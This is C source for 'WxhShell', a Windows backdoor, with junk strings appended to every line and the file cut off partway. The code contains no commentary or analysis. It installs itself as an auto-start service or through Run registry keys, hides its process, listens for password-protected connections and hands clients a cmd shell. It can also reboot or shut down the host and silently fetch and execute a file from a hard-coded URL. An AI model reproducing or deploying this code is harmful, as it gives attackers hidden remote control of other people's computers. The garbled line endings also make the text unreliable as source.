    ExitThread(0); } @ [!%hE  
    } KzX)6 |g{"  
    break; OJ7 Uh_;/  
    } MskO Pg  
  // 关机 *%\Xw*\0  
  case 'd': { <Qr*!-Kc6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8#R%jjr%T  
    if(Boot(SHUTDOWN)) qJJ 5o?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -tx%#(?wH  
    else { 1;?w#/&t  
    closesocket(wsh); JvEW0-B^l,  
    ExitThread(0); 6kMEm)YjT  
    } {t4':{Y+  
    break; dNCd-ep  
    } {MN6JGb|'  
  // 获取shell R6`mmJ+'  
  case 's': { ~}/_QlX` K  
    CmdShell(wsh); t|9vb  
    closesocket(wsh); 4uh~@Lv  
    ExitThread(0); a^^OI|?  
    break; fB&i{_J  
  } `Ba?4_>k  
  // 退出 yRD tPK"E-  
  case 'x': { i+Mg[x$.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mwn$ey&QE  
    CloseIt(wsh);  ;\f0II3  
    break; \F\xZ.r  
    } K{9Vyt9,$  
  // 离开 0'Qvis[kt  
  case 'q': { 6-\' *5r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); il"pKQF  
    closesocket(wsh); J9f]=1`  
    WSACleanup(); qVO,sKQ{  
    exit(1); arS@l<79  
    break; X)= m4\R  
        } *5\'$;Rg  
  } GuaF B[4  
  } W6r3v)~  
|9BX  ~`{  
  // 提示信息 (dy:d^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ay`R jT  
} D{q r N6g#  
  } qP zxP @4  
|oePB<N  
  return; |N3#of(  
} >5TXLOYZ  
P)hGe3  
// shell模块句柄 hBifn\dFr  
int CmdShell(SOCKET sock) 'Q=(1a11  
{ f)V6VNW.3  
STARTUPINFO si; S\GxLW@x  
ZeroMemory(&si,sizeof(si)); / %F,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E8t{[N6d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  tO D}&  
PROCESS_INFORMATION ProcessInfo; R((KAl]dL  
char cmdline[]="cmd"; f]C^{Uk#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); glkH??S  
  return 0; S!^I<#d K  
} L$"pk{'  
5d# 73)x$  
// 自身启动模式 Z^%HDB9^  
int StartFromService(void) ~zvZK]JoX  
{ F}@]Lq+  
typedef struct 0HQTe>!  
{ nU6UjC|3  
  DWORD ExitStatus; 9[ o$/x}  
  DWORD PebBaseAddress; #BgiDLh  
  DWORD AffinityMask; 9%0^fhrJ  
  DWORD BasePriority; hM=X# ;  
  ULONG UniqueProcessId; }^b  
  ULONG InheritedFromUniqueProcessId; o,?h}@  
}   PROCESS_BASIC_INFORMATION; dl`{:ZR S  
)YZx]6\l)  
PROCNTQSIP NtQueryInformationProcess; w6-<HPW<S  
sv#b5,>9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6?JvvS5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gq%,'am f  
C0>L<*C  
  HANDLE             hProcess; f|3LeOyz  
  PROCESS_BASIC_INFORMATION pbi; Im]6-#(9\|  
&]A0=h2{P*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]mC5Z6,1s  
  if(NULL == hInst ) return 0; _kBx2>qQ  
!-&;t7R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3BF3$_u)o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GNHWbC6_m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k%aJ%(  
/xB O;'rR  
  if (!NtQueryInformationProcess) return 0; I\Cg-&e  
;0uiO.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1xO-tIp/  
  if(!hProcess) return 0; 9;L8%T (  
kE[R9RS!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XPnHi@x  
!;${2Q  
  CloseHandle(hProcess); JBLh4c3  
,rNud]NM8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8q:# '  
if(hProcess==NULL) return 0; Ue"pNjd|  
vkeZ!klYB  
HMODULE hMod; 7" )~JBH  
char procName[255]; Y_~otoSoY  
unsigned long cbNeeded; yW"[}L h4  
j[dgY1yE:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -D%mVe)&+  
<|w(Sn  
  CloseHandle(hProcess); QFgKEUNgl  
t >.=q:  
if(strstr(procName,"services")) return 1; // 以服务启动 O]Y   z7  
POX{;[SV  
  return 0; // 注册表启动 ;<nJBZB9u  
} tZu1jBO_Q4  
\p]B8hLW  
// 主模块 %36@1l-N  
int StartWxhshell(LPSTR lpCmdLine) /w2-Pgm-[\  
{ U"~W3vwJ  
  SOCKET wsl; H5o=nWQ6e  
BOOL val=TRUE; FPM l;0{  
  int port=0; 6qWWfm/6  
  struct sockaddr_in door; ) t CNp  
Iyb_5 UmpF  
  if(wscfg.ws_autoins) Install(); 1xSG(!  
o/oLL w  
port=atoi(lpCmdLine); ^`Hb7A(  
TO G:N~  
if(port<=0) port=wscfg.ws_port; cH+ ~|3  
KKWv V4u  
  WSADATA data; cS Qb3}a\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pbw{EzM  
OB*V4Yv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RaP,dR+P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *kEzGgTzoS  
  door.sin_family = AF_INET; ExeZj8U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xErb11  
  door.sin_port = htons(port); 4yjIR?  
''3I0X*!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9[sOh<W  
closesocket(wsl); I0!]J{  
return 1; dP`B9>r  
} LWhP d\  
<XN=v!2;  
  if(listen(wsl,2) == INVALID_SOCKET) { G\B+bBz  
closesocket(wsl); Q|e-)FS)  
return 1; 7R# }AQ   
} &~2I Fp  
  Wxhshell(wsl); +'nMy"j1  
  WSACleanup(); bZ``*{I/  
mrr~#Bb>  
return 0; t[@>u'YKt  
e[0"x. gu  
} Rd|8=`)  
VqxK5  
// 以NT服务方式启动 > >KCd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }}D32T VN  
{ o{^`Y   
DWORD   status = 0; +.OdrvN4)  
  DWORD   specificError = 0xfffffff; ]}p<P):hO  
P,9Pn)M|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lW|v_oP9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9y<h.T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  1X&jlD?  
  serviceStatus.dwWin32ExitCode     = 0; 1hE{(onI  
  serviceStatus.dwServiceSpecificExitCode = 0; tC5-^5[y  
  serviceStatus.dwCheckPoint       = 0; t,IOq[Vtk  
  serviceStatus.dwWaitHint       = 0; DfP-(Lm)  
Hmt2~>FI[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i^V(LGQF  
  if (hServiceStatusHandle==0) return; |"I)1[7  
y@<2`h  
status = GetLastError(); Kf*Dy:e  
  if (status!=NO_ERROR) $/B~bJC  
{ :tI F*pC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dad$_%  
    serviceStatus.dwCheckPoint       = 0; :O$bsw:3w<  
    serviceStatus.dwWaitHint       = 0; [.1ME lM  
    serviceStatus.dwWin32ExitCode     = status; L+(ng  
    serviceStatus.dwServiceSpecificExitCode = specificError; %^vT7c>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !!H"B('m  
    return; nSC2wTH!1  
  } rp{|{>'`.q  
;R[3nb9%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +yHz7^6-5  
  serviceStatus.dwCheckPoint       = 0; 7t:tS7{}  
  serviceStatus.dwWaitHint       = 0; #j=yQrJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XNv2xuOcJ  
} XclTyUGoK+  
x|(pmqIH+  
// 处理NT服务事件,比如:启动、停止 m<#12#D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \m G Y'0  
{ >([,yMIY  
switch(fdwControl) Z>Mv$F"p:  
{ DQm%=ON7  
case SERVICE_CONTROL_STOP: $i5J}  
  serviceStatus.dwWin32ExitCode = 0; }$4z$&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G7Sw\wW  
  serviceStatus.dwCheckPoint   = 0; G9 O6Fi  
  serviceStatus.dwWaitHint     = 0; wz*iwd-  
  { 2_+>a"8Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?(R3%fU  
  } xI{4<m/0N  
  return; EZ]4cd/i  
case SERVICE_CONTROL_PAUSE: v#d\YV{I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q>Zc eJ;  
  break; ?YLq iAA  
case SERVICE_CONTROL_CONTINUE: J-5>+E,nZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #e|o"R;/`  
  break; =abcLrf2G  
case SERVICE_CONTROL_INTERROGATE: +*:mKx@Nw  
  break; JfIXv  
}; nQjpJ /=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1x:W 3.  
} \7r0]& _  
gM\>{ihM'  
// 标准应用程序主函数 =GPXuo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4a+gM._+O  
{ q[,p#uJ]  
 D}98ZKi  
// 获取操作系统版本 A iM ukd,  
OsIsNt=GetOsVer(); vSH,fS-n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "w'pIUQ3,  
t]$n~!  
  // 从命令行安装 P0,]`w  
  if(strpbrk(lpCmdLine,"iI")) Install(); I)Xf4F S@  
 Sfz1p  
  // 下载执行文件 $^ee~v;m4  
if(wscfg.ws_downexe) { olE(#}7V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &q-&%~E@  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lt't   
} rx1u*L  
EAGvP&~P  
if(!OsIsNt) { !C#oZU]P  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rql/@j`JX  
HideProc(); $r/$aq=K  
StartWxhshell(lpCmdLine); /?'~`4!(  
} G% tlV&In  
else {aY) Qv}  
  if(StartFromService()) qzUiBwUi@  
  // 以服务方式启动 eiKY az  
  StartServiceCtrlDispatcher(DispatchTable); !p&<.H_  
else )@NFV*@I  
  // 普通方式启动 i%K6<1R;y{  
  StartWxhshell(lpCmdLine); !9;m~T7.  
&B{zS K$N  
return 0; D$hQ-K  
} 7g\v (P  
nR{<xD^  
.G{cx=;  
1<r!9x9G  
=========================================== 5whW>T  
4YfM.~ 6  
z &EDW 5I  
5Z>a}s_i  
_J1\c~ke"  
rl|'.~mc  
" os/h~,=  
A8'RM F1  
#include <stdio.h> COh#/-`\1  
#include <string.h> ]-\68bN  
#include <windows.h> @xWWN  
#include <winsock2.h> ?Q"andf  
#include <winsvc.h> n _K1%  
#include <urlmon.h> //63|;EEkl  
wN[lC|1c  
#pragma comment (lib, "Ws2_32.lib") 1>Sfv|ZP,  
#pragma comment (lib, "urlmon.lib") EF)BezG5y  
oco,sxT  
#define MAX_USER   100 // 最大客户端连接数 5P!ZGbG  
#define BUF_SOCK   200 // sock buffer :r q~5hK  
#define KEY_BUFF   255 // 输入 buffer vbid>$%  
%'KRbY  
#define REBOOT     0   // 重启 #]}Ii{1?Y  
#define SHUTDOWN   1   // 关机 Y_%:%J  
RTmp$lV  
#define DEF_PORT   5000 // 监听端口 >Scyc-n  
clvg5{^q[  
#define REG_LEN     16   // 注册表键长度 )L b` 4B  
#define SVC_LEN     80   // NT服务名长度 u@_|4Bp,"  
Z<X=00,wg  
// 从dll定义API >?^oxB"<Gc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bp^LLH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RL` E}:V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IWv(G Qx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m9[ 7"I  
Y<T0yl?  
// wxhshell配置信息 IWo'{pk  
struct WSCFG { 0|AgmW_7 .  
  int ws_port;         // 监听端口 9lq5\ tL-  
  char ws_passstr[REG_LEN]; // 口令 9k6s  
  int ws_autoins;       // 安装标记, 1=yes 0=no +R*DE5dz  
  char ws_regname[REG_LEN]; // 注册表键名 |ke0G  
  char ws_svcname[REG_LEN]; // 服务名 %6Gg&Y$j!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NJBSVC b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yY#h 1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i9ySD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no do8[wej<:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xT> 9ZZcE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 89M'klZ   
m1W) PUy  
}; ZxtO.U2  
DdR0u0JH0  
// default Wxhshell configuration daSe0:daJ  
struct WSCFG wscfg={DEF_PORT, GQ1/pys  
    "xuhuanlingzhe", ?s2-iuMPd  
    1, T";evM66  
    "Wxhshell", *O[/KR%  
    "Wxhshell", Fip 5vrD  
            "WxhShell Service", .))g]CH  
    "Wrsky Windows CmdShell Service", Mxl;Im]!`.  
    "Please Input Your Password: ", qt L]x -O  
  1, y`oj\  
  "http://www.wrsky.com/wxhshell.exe", |:C0_`M9  
  "Wxhshell.exe" ,=+t2Bn  
    }; 6 /<Hx@r (  
9\EW~OgTu  
// 消息定义模块 zr!7*, p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9]v,3'QI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; },d^y:m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P;.roD9  
char *msg_ws_ext="\n\rExit."; =@d#@  
char *msg_ws_end="\n\rQuit."; C<_\{de|9  
char *msg_ws_boot="\n\rReboot..."; f" Iui  
char *msg_ws_poff="\n\rShutdown..."; Tw';;euw  
char *msg_ws_down="\n\rSave to "; ))AxU!*.  
*OA(v^@tx7  
char *msg_ws_err="\n\rErr!"; I/w;4!+)  
char *msg_ws_ok="\n\rOK!"; g?80>-!bF  
A8tJ&O rwY  
char ExeFile[MAX_PATH]; |m KohV qr  
int nUser = 0; n{N0S^h  
HANDLE handles[MAX_USER]; PPl o0R  
int OsIsNt; XQ=%a5w  
%.d.h;^T  
SERVICE_STATUS       serviceStatus; 9}QIqH\p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F'|K>!H  
F^/KD<cgK  
// 函数声明 +\ftSm>  
int Install(void); EPJ>@A>;D  
int Uninstall(void); Ub\^3f  
int DownloadFile(char *sURL, SOCKET wsh); .#~!w!T  
int Boot(int flag); wb9(aS4  
void HideProc(void); $e+4Kt ,  
int GetOsVer(void); SZTn=\  
int Wxhshell(SOCKET wsl); <cOjtq,0  
void TalkWithClient(void *cs); >>$L vQ  
int CmdShell(SOCKET sock); cO]w*Hti  
int StartFromService(void); 3Iqvc v  
int StartWxhshell(LPSTR lpCmdLine); K&&T:'=/  
Qw5-/p=t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j5DCc,s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ n 2MP  
M @KQOAzt  
// 数据结构和表定义 <lR:^M[v5<  
SERVICE_TABLE_ENTRY DispatchTable[] = \)5mO 8w  
{ CKH mJ]=  
{wscfg.ws_svcname, NTServiceMain}, j_d}?jh  
{NULL, NULL} f3Zf97i  
}; c BqbbZyUk  
3|!3R'g/ >  
// 自我安装 }J6:D]Q  
int Install(void) ?,x\46]>_K  
{ mKu,7nMvF  
  char svExeFile[MAX_PATH]; c $r"q :\  
  HKEY key; QuEX|h,F  
  strcpy(svExeFile,ExeFile); 7k,BE2]"  
eH7x>[lH.  
// 如果是win9x系统,修改注册表设为自启动 N {{MMIq  
if(!OsIsNt) { LU;zpXg\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r+m.! +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rd7U5MBEF  
  RegCloseKey(key); [-[59 H[6)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9[JUJ,#X'0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;o'r@4^&$R  
  RegCloseKey(key); ML'y`S  
  return 0; 1#c Tk  
    } h2x9LPLBxT  
  } "p3<-06  
} } r(b:}DN  
else { %\,9S`0  
w>cqsTq  
// 如果是NT以上系统,安装为系统服务 4v/MZ:%C`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$%Bo/Y   
if (schSCManager!=0) #<==7X#  
{ ~b*]jZwT  
  SC_HANDLE schService = CreateService y akRKiz\  
  ( xi{ r-D8Z  
  schSCManager, , @UOj=  
  wscfg.ws_svcname, MG=8`J-`  
  wscfg.ws_svcdisp, *]HnFP  
  SERVICE_ALL_ACCESS, C{m%]jKH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }\S'oC\[  
  SERVICE_AUTO_START, LA_{[VWYp>  
  SERVICE_ERROR_NORMAL, Z@dVK`nD  
  svExeFile, b MD|  
  NULL, ssLswb  
  NULL, J)n_u),  
  NULL, +@^);b6  
  NULL, )aGSZ1`/  
  NULL hsY?og_H  
  ); o/7u7BQl2  
  if (schService!=0) C`t @tgT  
  { hT1JEu  
  CloseServiceHandle(schService); AvrvBz[  
  CloseServiceHandle(schSCManager); ";=!PL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;$&\ :-6A#  
  strcat(svExeFile,wscfg.ws_svcname); uU3A,-{-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +={K -g7U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TyIjDG6tM  
  RegCloseKey(key); T 'c39  
  return 0; ^K"BQ~-w  
    } K [DpH&  
  } l[:Aq&[o3  
  CloseServiceHandle(schSCManager); J6s]vV q"  
} jG7PT66>;  
} *'{-!Y  
0)Ephsw  
return 1; o5a=>|?p>  
} an"~n`g  
+`GtZnt#  
// 自我卸载 b v_ UroTr  
int Uninstall(void) h*l$!nEN  
{ SdYf^@%}F  
  HKEY key; -%"PqA/1zj  
/_l\7MeI  
if(!OsIsNt) { )  FR7t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5_'lu  
  RegDeleteValue(key,wscfg.ws_regname); i WD|F-  
  RegCloseKey(key); Zw9;g+9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K#Ck,Y"  
  RegDeleteValue(key,wscfg.ws_regname); i$E [@  
  RegCloseKey(key);  eo9/  
  return 0; yV8J-YdsG  
  } h[]9F.[  
} .^{%hc*w4  
} A! bG2{r  
else { t 6nRg  
7tcadXk0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W\kli';jyC  
if (schSCManager!=0) lNL=Yu2p_  
{ 'vBZh1`p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d>hv-n D  
  if (schService!=0) ^-Od*DTL  
  { hU#e\L 7  
  if(DeleteService(schService)!=0) { mtv8Bm=<  
  CloseServiceHandle(schService); gY~r{  
  CloseServiceHandle(schSCManager); }'x;J   
  return 0; 06pvI}   
  } O6;"cUv  
  CloseServiceHandle(schService); _f[Q\gK  
  } R7bG!1SHl  
  CloseServiceHandle(schSCManager); +%W8Juu  
} W r/-{Wt  
} YqX$a~  
nzflUR{`-  
return 1; O{LCHtN  
} o&q>[c  
Xi&J%N'  
// 从指定url下载文件 y>a?<*Y+e  
int DownloadFile(char *sURL, SOCKET wsh) R_PF*q2 '  
{ {z FME41>g  
  HRESULT hr; Yb+A{`  
char seps[]= "/"; ~gfR1SE  
char *token; x z _sejKB  
char *file; *HKw;I   
char myURL[MAX_PATH]; F[jE#M=k  
char myFILE[MAX_PATH]; 6z9 '|;,4  
fM;,9  
strcpy(myURL,sURL); 7{|QkTgC  
  token=strtok(myURL,seps); WUYI1Ij;  
  while(token!=NULL) ;Q;j@yx  
  { rpT.n-H>%A  
    file=token; dVQ[@u1,  
  token=strtok(NULL,seps); IP62|~Ap  
  } 11=$] K>  
eTuqK23  
GetCurrentDirectory(MAX_PATH,myFILE); p-[WpY3  
strcat(myFILE, "\\"); g@`i7qN  
strcat(myFILE, file);  z:,PwLU  
  send(wsh,myFILE,strlen(myFILE),0);  js_`L#t  
send(wsh,"...",3,0); 8-2 `S*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8+F5n!  
  if(hr==S_OK) THYw_]K  
return 0; isZ5s\  
else {a7~P0$  
return 1; _Iy\,<  
UnhVppnex  
} _wq?Pa<)e  
-#|D>  
// 系统电源模块 "z~ba>,-\  
int Boot(int flag) ]b4WfIu  
{ m@4Dz|  
  HANDLE hToken; y?$DDD  
  TOKEN_PRIVILEGES tkp; wcGK *sWG-  
4qQ,1&!]S  
  if(OsIsNt) { 8|a./%gixs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yayhL DL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^#/FkEt7bp  
    tkp.PrivilegeCount = 1; aB]0?C y9(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; % Y^J''  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )kD/ 8  
if(flag==REBOOT) { ^jdU4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) / ;]5X  
  return 0; ,lyW'<~gA  
} n>M`wF>  
else { 3N7H7(IR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 22\!Z2@T/  
  return 0; M;(,0dk  
} 7},A. q  
  } Tg\bpLk0=  
  else { k:@DK9 "^  
if(flag==REBOOT) { 5(1:^:LGK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {MUB4-@?F$  
  return 0; W'lqNOX[v  
} kxn&f(5  
else { d$dy6{/YD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %`Re {%1;  
  return 0; Wa_qD  
} zG!nqSDG  
} UX 1 )((  
2eT?qCxqc  
return 1; !rvEo =^  
} mgs(n5V5  
xO~ ElzGm  
// win9x进程隐藏模块 p?@ %/!S  
void HideProc(void) x%{]'z  
{ v3tJtb^'!  
[K!9xM6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .L'w/"O  
  if ( hKernel != NULL ) QLA.;`HIE  
  { .n-#A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #YUaM<O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -%K!Ra\W  
    FreeLibrary(hKernel); |{jT+  
  } _T=g?0 q  
nB[-KS  
return; JzHG5nmB  
} e~'` x38  
C@rGa7  
// 获取操作系统版本 tYS4"Nfb+  
int GetOsVer(void) DSGcxM+  
{ 0c_xPBbB+  
  OSVERSIONINFO winfo; KWTV!Wxb=K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H=r-f@EOrI  
  GetVersionEx(&winfo); y4V:)@ P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z6jEj9?O  
  return 1; C*9X;+S0J  
  else ITu19WG  
  return 0; vDy&sgS$<  
} M[uWX=  
3>,}N9P-v  
// 客户端句柄模块 PT"}2sR)  
int Wxhshell(SOCKET wsl) D$>_W,*V  
{ a"8[,A3  
  SOCKET wsh; #cbgp;,M{I  
  struct sockaddr_in client; BHXi g~d  
  DWORD myID; ~j0rORy]  
yNTd_XPL  
  while(nUser<MAX_USER) +)]YvZ6%[,  
{ bOY;IB _  
  int nSize=sizeof(client); 0mw1CUx9K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Onmmcem  
  if(wsh==INVALID_SOCKET) return 1; xO$P C,  
}5o?7} ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GQ_KYS{  
if(handles[nUser]==0) i`,FXF)  
  closesocket(wsh); rIb+c=|F  
else Cj5mM[:s  
  nUser++; =x~I'|%3  
  } pO]gf$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f| RmAP;X,  
MNT~[Z9L5G  
  return 0; %p Wn9  
} UA[`{rf  
5/H,UL  
// 关闭 socket kmB!NxF>)F  
void CloseIt(SOCKET wsh) M  .#}  
{ OLw]BJXYaE  
closesocket(wsh); ul{x|R  
nUser--; 9tiZIm93]  
ExitThread(0); yTm \O UD  
} Vns3859$8  
+z >)'#  
// 客户端请求句柄 XxqGsGx4  
void TalkWithClient(void *cs) Hxu5Dx5![  
{ 'uPAG;)m  
p6M9uu  
  SOCKET wsh=(SOCKET)cs; Q PH=`s  
  char pwd[SVC_LEN]; ?W/.'_  
  char cmd[KEY_BUFF]; MJn-] E  
char chr[1];  tm1 =  
int i,j; 16NHzAQ  
H R>Y?B{  
  while (nUser < MAX_USER) { ldv@C6+J  
F!z0N&#  
if(wscfg.ws_passstr) { }$6L]   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q? ,PFvs"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Rqdo\vE  
  //ZeroMemory(pwd,KEY_BUFF); |}"YUk^  
      i=0; 6j E.X  
  while(i<SVC_LEN) { gF6> /  
{gMe<y  
  // 设置超时 *_V+K  
  fd_set FdRead; 9#8vPjXW}.  
  struct timeval TimeOut; {DO9%ej)  
  FD_ZERO(&FdRead); 2D\ pt  
  FD_SET(wsh,&FdRead); .jrNi=BP*  
  TimeOut.tv_sec=8; LF|0lAr  
  TimeOut.tv_usec=0; "ubp`7%67  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U%3N=M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mxNd  
F)3+IuY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %9-^,og  
  pwd=chr[0]; -cqE^qAdX  
  if(chr[0]==0xd || chr[0]==0xa) { MU<(O}  
  pwd=0; $5nMD=   
  break; Pz)lq2Zm9  
  } F^,:p.ihm<  
  i++; O&!R7T  
    } /t5)&  
)~2\4t4|g  
  // 如果是非法用户,关闭 socket RpdUR*K9x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eORXyh\K  
} W"\~O"a  
+C~h(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9a`Lr B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M7#!Y=  
GDu^P+^  
while(1) { --h\tj\U  
*85N_+Wv!  
  ZeroMemory(cmd,KEY_BUFF); U`v2Yw3E  
0`/G(ukO  
      // 自动支持客户端 telnet标准   >$ q   
  j=0; '-wmY?ZFxy  
  while(j<KEY_BUFF) { Ai/X*y:[?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Emlj,c<?j  
  cmd[j]=chr[0]; ki1(b]rf  
  if(chr[0]==0xa || chr[0]==0xd) { b.*LmSX#  
  cmd[j]=0; Ny^ 1#R  
  break; rr# nBhh8  
  } ?Y"%BS+pt  
  j++;  "'4  
    } o.KnDY  
_CD~5EA:  
  // 下载文件 qu B[S)2}  
  if(strstr(cmd,"http://")) { ly[yn{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @*%3+9`yq  
